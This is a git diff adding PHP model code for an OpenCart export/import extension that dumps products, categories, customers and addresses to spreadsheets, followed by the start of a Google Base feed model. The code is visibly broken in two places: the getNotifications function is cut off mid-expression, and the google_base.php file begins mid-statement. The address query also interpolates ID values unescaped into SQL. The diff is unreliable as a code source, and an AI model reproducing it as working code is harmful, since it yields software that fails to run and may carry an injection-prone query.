+ if ($exist_salt) {
+ $data[$j++] = $row['salt'];
+ }
+ $data[$j++] = $row['cart'];
+ $data[$j++] = $row['wishlist'];
+ $data[$j++] = ($row['newsletter']==0) ? 'no' : 'yes';
+ if ($exist_custom_field) {
+ $data[$j++] = $row['custom_field'];
+ }
+ $data[$j++] = $row['ip'];
+ $data[$j++] = ($row['status']==0) ? 'false' : 'true';
+ if ($exist_approved) {
+ $data[$j++] = ($row['approved']==0) ? 'false' : 'true';
+ }
+ if ($exist_safe) {
+ $data[$j++] = ($row['safe']==0) ? 'false' : 'true';
+ }
+ if ($exist_token) {
+ $data[$j++] = $row['token'];
+ }
+ if ($exist_code) {
+ $data[$j++] = $row['code'];
+ }
+ $data[$j++] = $row['date_added'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getAddresses( $min_id, $max_id ) {
+ // DB query for getting the addresses
+ $sql = "SELECT a.*, c.name AS country, z.name AS zone, (cu.address_id=a.address_id) AS `default` FROM `".DB_PREFIX."address` a ";
+ $sql .= "INNER JOIN `".DB_PREFIX."country` c ON c.country_id=a.country_id ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."zone` z ON z.country_id=a.country_id AND z.zone_id=a.zone_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."customer` cu ON cu.customer_id=a.customer_id ";
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= " WHERE a.customer_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= " ORDER BY a.customer_id ASC, a.address_id ASC;";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ protected function populateAddressesWorksheet( &$worksheet, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Some Opencart 1.5.x versions also have company_id
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'company_id'";
+ $query = $this->db->query( $sql );
+ $exist_company_id = ($query->num_rows > 0) ? true : false;
+
+ // Some Opencart 1.5.x versions also have tax_id
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'tax_id'";
+ $query = $this->db->query( $sql );
+ $exist_tax_id = ($query->num_rows > 0) ? true : false;
+
+ // Opencart 2.x versions have custom_field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('firstname'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('lastname'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('company'),30)+1);
+ if ($exist_company_id) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('company_id'),10)+1);
+ }
+ if ($exist_tax_id) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_id'),15)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('address_1'),30)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('address_2'),30)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('city'),30)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('postcode'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('zone'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('country'),20)+1);
+ if ($exist_custom_field) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('custom_field'),20)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('default'),5)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'customer_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'firstname';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'lastname';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'company';
+ if ($exist_company_id) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'company_id';
+ }
+ if ($exist_tax_id) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'tax_id';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'address_1';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'address_2';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'city';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'postcode';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'zone';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'country';
+ if ($exist_custom_field) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'custom_field';
+ }
+ $data[$j++] = 'default';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual addresses data
+ $i += 1;
+ $j = 1;
+ $addresses = $this->getAddresses( $min_id, $max_id );
+ foreach ($addresses as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['customer_id'];
+ $data[$j++] = $row['firstname'];
+ $data[$j++] = $row['lastname'];
+ $data[$j++] = $row['company'];
+ if ($exist_company_id) {
+ $data[$j++] = $row['company_id'];
+ }
+ if ($exist_tax_id) {
+ $data[$j++] = $row['tax_id'];
+ }
+ $data[$j++] = $row['address_1'];
+ $data[$j++] = $row['address_2'];
+ $data[$j++] = $row['city'];
+ $data[$j++] = $row['postcode'];
+ $data[$j++] = html_entity_decode( $row['zone'], ENT_QUOTES, 'UTF-8' );
+ $data[$j++] = $row['country'];
+ if ($exist_custom_field) {
+ $data[$j++] = $row['custom_field'];
+ }
+ $data[$j++] = ($row['default']==0) ? 'no' : 'yes';
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function clearSpreadsheetCache() {
+ $files = glob(DIR_CACHE . 'Spreadsheet_Excel_Writer' . '*');
+
+ if ($files) {
+ foreach ($files as $file) {
+ if (file_exists($file)) {
+ @unlink($file);
+ clearstatcache();
+ }
+ }
+ }
+ }
+
+
+ public function getMaxProductId() {
+ $query = $this->db->query( "SELECT MAX(product_id) as max_product_id FROM `".DB_PREFIX."product`" );
+ if (isset($query->row['max_product_id'])) {
+ $max_id = $query->row['max_product_id'];
+ } else {
+ $max_id = 0;
+ }
+ return $max_id;
+ }
+
+
+ public function getMinProductId() {
+ $query = $this->db->query( "SELECT MIN(product_id) as min_product_id FROM `".DB_PREFIX."product`" );
+ if (isset($query->row['min_product_id'])) {
+ $min_id = $query->row['min_product_id'];
+ } else {
+ $min_id = 0;
+ }
+ return $min_id;
+ }
+
+
+ public function getCountProduct() {
+ $sql = "SELECT COUNT(DISTINCT p.product_id) as count_product ";
+ $sql .= "FROM `".DB_PREFIX."product` p ";
+ $posted_categories = $this->getPostedCategories();
+ $posted_manufacturers = $this->getPostedManufacturers();
+ if ($posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=p.product_id ";
+ $sql .= "WHERE pc.category_id IN $posted_categories ";
+ }
+ if ($posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? " WHERE " : " AND ";
+ $sql .= "p.manufacturer_id IN ".$posted_manufacturers." ";
+ }
+
+ $query = $this->db->query( $sql );
+ if (isset($query->row['count_product'])) {
+ $count = $query->row['count_product'];
+ } else {
+ $count = 0;
+ }
+ return $count;
+ }
+
+
+ public function getMaxCategoryId() {
+ $query = $this->db->query( "SELECT MAX(category_id) as max_category_id FROM `".DB_PREFIX."category`" );
+ if (isset($query->row['max_category_id'])) {
+ $max_id = $query->row['max_category_id'];
+ } else {
+ $max_id = 0;
+ }
+ return $max_id;
+ }
+
+
+ public function getMinCategoryId() {
+ $query = $this->db->query( "SELECT MIN(category_id) as min_category_id FROM `".DB_PREFIX."category`" );
+ if (isset($query->row['min_category_id'])) {
+ $min_id = $query->row['min_category_id'];
+ } else {
+ $min_id = 0;
+ }
+ return $min_id;
+ }
+
+
+ public function getCountCategory() {
+ $query = $this->db->query( "SELECT COUNT(category_id) as count_category FROM `".DB_PREFIX."category`" );
+ if (isset($query->row['count_category'])) {
+ $count = $query->row['count_category'];
+ } else {
+ $count = 0;
+ }
+ return $count;
+ }
+
+
+ public function getMaxCustomerId() {
+ $query = $this->db->query( "SELECT MAX(customer_id) as max_customer_id FROM `".DB_PREFIX."customer`" );
+ if (isset($query->row['max_customer_id'])) {
+ $max_id = $query->row['max_customer_id'];
+ } else {
+ $max_id = 0;
+ }
+ return $max_id;
+ }
+
+
+ public function getMinCustomerId() {
+ $query = $this->db->query( "SELECT MIN(customer_id) as min_customer_id FROM `".DB_PREFIX."customer`" );
+ if (isset($query->row['min_customer_id'])) {
+ $min_id = $query->row['min_customer_id'];
+ } else {
+ $min_id = 0;
+ }
+ return $min_id;
+ }
+
+
+ public function getCountCustomer() {
+ $query = $this->db->query( "SELECT COUNT(customer_id) as count_customer FROM `".DB_PREFIX."customer`" );
+ if (isset($query->row['count_customer'])) {
+ $count = $query->row['count_customer'];
+ } else {
+ $count = 0;
+ }
+ return $count;
+ }
+
+
+ public function download( $export_type, $offset=null, $rows=null, $min_id=null, $max_id=null) {
+ // we use our own error handler
+ global $registry;
+ $registry = $this->registry;
+ set_error_handler('error_handler_for_export_import',E_ALL);
+ register_shutdown_function('fatal_error_shutdown_handler_for_export_import');
+
+ try {
+ if (version_compare(phpversion(), '7.2.', '<')) {
+ // php version isn't high enough
+ throw new Exception( $this->language->get( 'error_php_version' ) );
+ }
+
+ // enable auto_load from system/library/export_import
+ require( DIR_SYSTEM.'library/export_import/vendor/autoload.php' );
+
+ // Use the PhoOffice/PhpSpreadsheet package from https://github.com/PHPOffice/PhpSpreadsheet
+ $workbook = new PhpOffice\PhpSpreadsheet\Spreadsheet();
+
+ // find out whether all data is to be downloaded
+ $all = !isset($offset) && !isset($rows) && !isset($min_id) && !isset($max_id);
+
+ $this->posted_categories = $this->getPostedCategories();
+ $this->posted_manufacturers = $this->getPostedManufacturers();
+
+ // set appropriate timeout limit
+ set_time_limit( 1800 );
+
+ $languages = $this->getLanguages();
+ $default_language_id = $this->getDefaultLanguageId();
+
+ // create a new workbook
+ $workbook = new PhpOffice\PhpSpreadsheet\Spreadsheet();
+
+ // set some default styles
+ $workbook->getDefaultStyle()->getFont()->setName('Arial');
+ $workbook->getDefaultStyle()->getFont()->setSize(10);
+ //$workbook->getDefaultStyle()->getAlignment()->setIndent(0.5);
+ $workbook->getDefaultStyle()->getAlignment()->setHorizontal(PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_LEFT);
+ $workbook->getDefaultStyle()->getAlignment()->setVertical(PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER);
+ $workbook->getDefaultStyle()->getNumberFormat()->setFormatCode(PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_GENERAL);
+
+ // pre-define some commonly used styles
+ $box_format = array(
+ 'fill' => array(
+ 'fillType' => PhpOffice\PhpSpreadsheet\Style\Fill::FILL_SOLID,
+ 'startColor' => array( 'rgb' => 'F0F0F0'),
+ 'endColor' => array( 'rgb' => 'F0F0F0')
+ ),
+ 'borders' => array(
+ 'right' => array(
+ 'borderStyle' => PhpOffice\PhpSpreadsheet\Style\Border::BORDER_THIN,
+ 'color' => array('rgb' => 'F0F0F0')
+ )
+ )
+ /*
+ 'alignment' => array(
+ 'horizontal' => PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_LEFT,
+ 'vertical' => PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
+ 'wrap' => false,
+ 'indent' => 0
+ )
+ */
+ );
+ $text_format = array(
+ 'numberFormat' => array(
+ 'formatCode' => PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_TEXT
+ ),
+ /*
+ 'alignment' => array(
+ 'horizontal' => PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_LEFT,
+ 'vertical' => PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
+ 'wrap' => false,
+ 'indent' => 0
+ )
+ */
+ );
+ $price_format = array(
+ 'numberFormat' => array(
+ 'formatCode' => '######0.00'
+ ),
+ 'alignment' => array(
+ 'horizontal' => PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_RIGHT,
+ /*
+ 'vertical' => PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
+ 'wrap' => false,
+ 'indent' => 0
+ */
+ )
+ );
+ $weight_format = array(
+ 'numberFormat' => array(
+ 'formatCode' => '##0.00'
+ ),
+ 'alignment' => array(
+ 'horizontal' => PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_RIGHT,
+ /*
+ 'vertical' => PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER,
+ 'wrap' => false,
+ 'indent' => 0
+ */
+ )
+ );
+
+ // create the worksheets
+ $worksheet_index = 0;
+ switch ($export_type) {
+ case 'c':
+ // creating the Categories worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Categories' );
+ $this->populateCategoriesWorksheet( $worksheet, $languages, $box_format, $text_format, $offset, $rows, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the CategoryFilters worksheet
+ if ($this->existFilter()) {
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'CategoryFilters' );
+ $this->populateCategoryFiltersWorksheet( $worksheet, $languages, $default_language_id, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ }
+
+ // creating the CategorySEOKeywords worksheet
+ if ($this->use_table_seo_url) {
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'CategorySEOKeywords' );
+ $this->populateCategorySEOKeywordsWorksheet( $worksheet, $languages, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ }
+ break;
+
+ case 'p':
+ // creating the Products worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Products' );
+ $this->populateProductsWorksheet( $worksheet, $languages, $default_language_id, $price_format, $box_format, $weight_format, $text_format, $offset, $rows, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the AdditionalImages worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'AdditionalImages' );
+ $this->populateAdditionalImagesWorksheet( $worksheet, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Specials worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Specials' );
+ $this->populateSpecialsWorksheet( $worksheet, $default_language_id, $price_format, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Discounts worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Discounts' );
+ $this->populateDiscountsWorksheet( $worksheet, $default_language_id, $price_format, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Rewards worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Rewards' );
+ $this->populateRewardsWorksheet( $worksheet, $default_language_id, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the ProductOptions worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductOptions' );
+ $this->populateProductOptionsWorksheet( $worksheet, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the ProductOptionValues worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductOptionValues' );
+ $this->populateProductOptionValuesWorksheet( $worksheet, $price_format, $box_format, $weight_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the ProductAttributes worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductAttributes' );
+ $this->populateProductAttributesWorksheet( $worksheet, $languages, $default_language_id, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the ProductFilters worksheet
+ if ($this->existFilter()) {
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductFilters' );
+ $this->populateProductFiltersWorksheet( $worksheet, $languages, $default_language_id, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ }
+
+ // creating the ProductSEOKeywords worksheet
+ if ($this->use_table_seo_url) {
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'ProductSEOKeywords' );
+ $this->populateProductSEOKeywordsWorksheet( $worksheet, $languages, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ }
+ break;
+
+ case 'o':
+ // creating the Options worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Options' );
+ $this->populateOptionsWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the OptionValues worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'OptionValues' );
+ $this->populateOptionValuesWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ break;
+
+ case 'a':
+ // creating the AttributeGroups worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'AttributeGroups' );
+ $this->populateAttributeGroupsWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Attributes worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Attributes' );
+ $this->populateAttributesWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ break;
+
+ case 'f':
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ break;
+ }
+
+ // creating the FilterGroups worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'FilterGroups' );
+ $this->populateFilterGroupsWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Filters worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Filters' );
+ $this->populateFiltersWorksheet( $worksheet, $languages, $box_format, $text_format );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ break;
+
+ case 'u':
+ // creating the Customers worksheet
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Customers' );
+ $this->populateCustomersWorksheet( $worksheet, $box_format, $text_format, $offset, $rows, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+
+ // creating the Addresses worksheet
+ $workbook->createSheet();
+ $workbook->setActiveSheetIndex($worksheet_index++);
+ $worksheet = $workbook->getActiveSheet();
+ $worksheet->setTitle( 'Addresses' );
+ $this->populateAddressesWorksheet( $worksheet, $box_format, $text_format, $min_id, $max_id );
+ $worksheet->freezePaneByColumnAndRow( 2, 2 );
+ break;
+
+ default:
+ break;
+ }
+
+ $workbook->setActiveSheetIndex(0);
+
+ // redirect output to client browser
+ $datetime = date('Y-m-d');
+ switch ($export_type) {
+ case 'c':
+ $filename = 'categories-'.$datetime;
+ if (!$all) {
+ if (isset($offset)) {
+ $filename .= "-offset-$offset";
+ } else if (isset($min_id)) {
+ $filename .= "-start-$min_id";
+ }
+ if (isset($rows)) {
+ $filename .= "-rows-$rows";
+ } else if (isset($max_id)) {
+ $filename .= "-end-$max_id";
+ }
+ }
+ $filename .= '.xlsx';
+ break;
+ case 'p':
+ $filename = 'products-'.$datetime;
+ if (!$all) {
+ if (isset($offset)) {
+ $filename .= "-offset-$offset";
+ } else if (isset($min_id)) {
+ $filename .= "-start-$min_id";
+ }
+ if (isset($rows)) {
+ $filename .= "-rows-$rows";
+ } else if (isset($max_id)) {
+ $filename .= "-end-$max_id";
+ }
+ }
+ $filename .= '.xlsx';
+ break;
+ case 'o':
+ $filename = 'options-'.$datetime.'.xlsx';
+ break;
+ case 'a':
+ $filename = 'attributes-'.$datetime.'.xlsx';
+ break;
+ case 'f':
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ break;
+ }
+ $filename = 'filters-'.$datetime.'.xlsx';
+ break;
+ case 'u':
+ $filename = 'customers-'.$datetime;
+ if (!$all) {
+ if (isset($offset)) {
+ $filename .= "-offset-$offset";
+ } else if (isset($min_id)) {
+ $filename .= "-start-$min_id";
+ }
+ if (isset($rows)) {
+ $filename .= "-rows-$rows";
+ } else if (isset($max_id)) {
+ $filename .= "-end-$max_id";
+ }
+ }
+ $filename .= '.xlsx';
+ break;
+ default:
+ $filename = $datetime.'.xlsx';
+ break;
+ }
+ header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
+ header('Content-Disposition: attachment;filename="'.$filename.'"');
+ header('Cache-Control: max-age=0');
+ $objWriter = PhpOffice\PhpSpreadsheet\IOFactory::createWriter($workbook, 'Xlsx');
+ $objWriter->setPreCalculateFormulas(false);
+ $objWriter->save('php://output');
+
+ // Clear the spreadsheet caches
+ $this->clearSpreadsheetCache();
+ exit;
+
+ } catch (Exception $e) {
+ $errstr = $e->getMessage();
+ $errline = $e->getLine();
+ $errfile = $e->getFile();
+ $errno = $e->getCode();
+ $this->session->data['export_import_error'] = array( 'errstr'=>$errstr, 'errno'=>$errno, 'errfile'=>$errfile, 'errline'=>$errline );
+ if ($this->config->get('config_error_log')) {
+ $this->log->write('PHP ' . get_class($e) . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
+ }
+ return;
+ }
+ }
+
+
+ protected function curl_get_contents($url) {
+ $ch = curl_init();
+ curl_setopt($ch, CURLOPT_URL, $url);
+ curl_setopt($ch, CURLOPT_HEADER, 0);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
+ $output = curl_exec($ch);
+ curl_close($ch);
+ return $output;
+ }
+
+
+ public function getNotifications() {
+ $language_code = $this->config->get( 'config_admin_language' );
+ $result = $this->curl_get_contents("https://www.mhccorp.com/index.php?route=information/message&type=tool_export_import_".str_replace('.','_',$this->version)."&language_code=$language_code");
+ if (stripos($result,'version;
+ }
+
+
+ public function getOptionNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT `name`, COUNT(option_id) AS `count` FROM `".DB_PREFIX."option_description` ";
+ $sql .= "WHERE language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY `name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getOptionValueNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT option_id, `name`, COUNT(option_value_id) AS `count` FROM `".DB_PREFIX."option_value_description` ";
+ $sql .= "WHERE language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY option_id, `name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getAttributeGroupNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT `name`, COUNT(attribute_group_id) AS `count` FROM `".DB_PREFIX."attribute_group_description` ";
+ $sql .= "WHERE language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY `name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getAttributeNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT ag.attribute_group_id, ad.`name`, COUNT(ad.attribute_id) AS `count` FROM `".DB_PREFIX."attribute_description` ad ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute` a ON a.attribute_id=ad.attribute_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute_group` ag ON ag.attribute_group_id=a.attribute_group_id ";
+ $sql .= "WHERE ad.language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY ag.attribute_group_id, ad.`name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getFilterGroupNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT `name`, COUNT(filter_group_id) AS `count` FROM `".DB_PREFIX."filter_group_description` ";
+ $sql .= "WHERE language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY `name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function getFilterNameCounts() {
+ $default_language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT fg.filter_group_id, fd.`name`, COUNT(fd.filter_id) AS `count` FROM `".DB_PREFIX."filter_description` fd ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter` f ON f.filter_id=fd.filter_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter_group` fg ON fg.filter_group_id=f.filter_group_id ";
+ $sql .= "WHERE fd.language_id='".(int)$default_language_id."' ";
+ $sql .= "GROUP BY fg.filter_group_id, fd.`name`";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ public function existFilter() {
+ // only newer OpenCart versions support filters
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."filter'" );
+ $exist_table_filter = ($query->num_rows > 0);
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."filter_group'" );
+ $exist_table_filter_group = ($query->num_rows > 0);
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."product_filter'" );
+ $exist_table_product_filter = ($query->num_rows > 0);
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."category_filter'" );
+ $exist_table_category_filter = ($query->num_rows > 0);
+
+ if (!$exist_table_filter) {
+ return false;
+ }
+ if (!$exist_table_filter_group) {
+ return false;
+ }
+ if (!$exist_table_product_filter) {
+ return false;
+ }
+ if (!$exist_table_category_filter) {
+ return false;
+ }
+ return true;
+ }
+
+}
+
+
+if (version_compare(VERSION,'3.0','>=')) {
+ class ModelExtensionExportImport extends ModelToolExportImport {
+ }
+}
+
+?>
diff --git a/public/admin/model/extension/feed/google_base.php b/public/admin/model/extension/feed/google_base.php
new file mode 100644
index 0000000..b54f1b1
--- /dev/null
+++ b/public/admin/model/extension/feed/google_base.php
@@ -0,0 +1,97 @@
+db->query("
+ CREATE TABLE `" . DB_PREFIX . "google_base_category` (
+ `google_base_category_id` INT(11) NOT NULL AUTO_INCREMENT,
+ `name` varchar(255) NOT NULL,
+ PRIMARY KEY (`google_base_category_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+
+ $this->db->query("
+ CREATE TABLE `" . DB_PREFIX . "google_base_category_to_category` (
+ `google_base_category_id` INT(11) NOT NULL,
+ `category_id` INT(11) NOT NULL,
+ PRIMARY KEY (`google_base_category_id`, `category_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+ }
+
+ public function uninstall() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "google_base_category`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "google_base_category_to_category`");
+ }
+
+ public function import($string) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "google_base_category");
+
+ $lines = explode("\n", $string);
+
+ foreach ($lines as $line) {
+ if (substr($line, 0, 1) != '#') {
+ $part = explode(' - ', $line, 2);
+
+ if (isset($part[1])) {
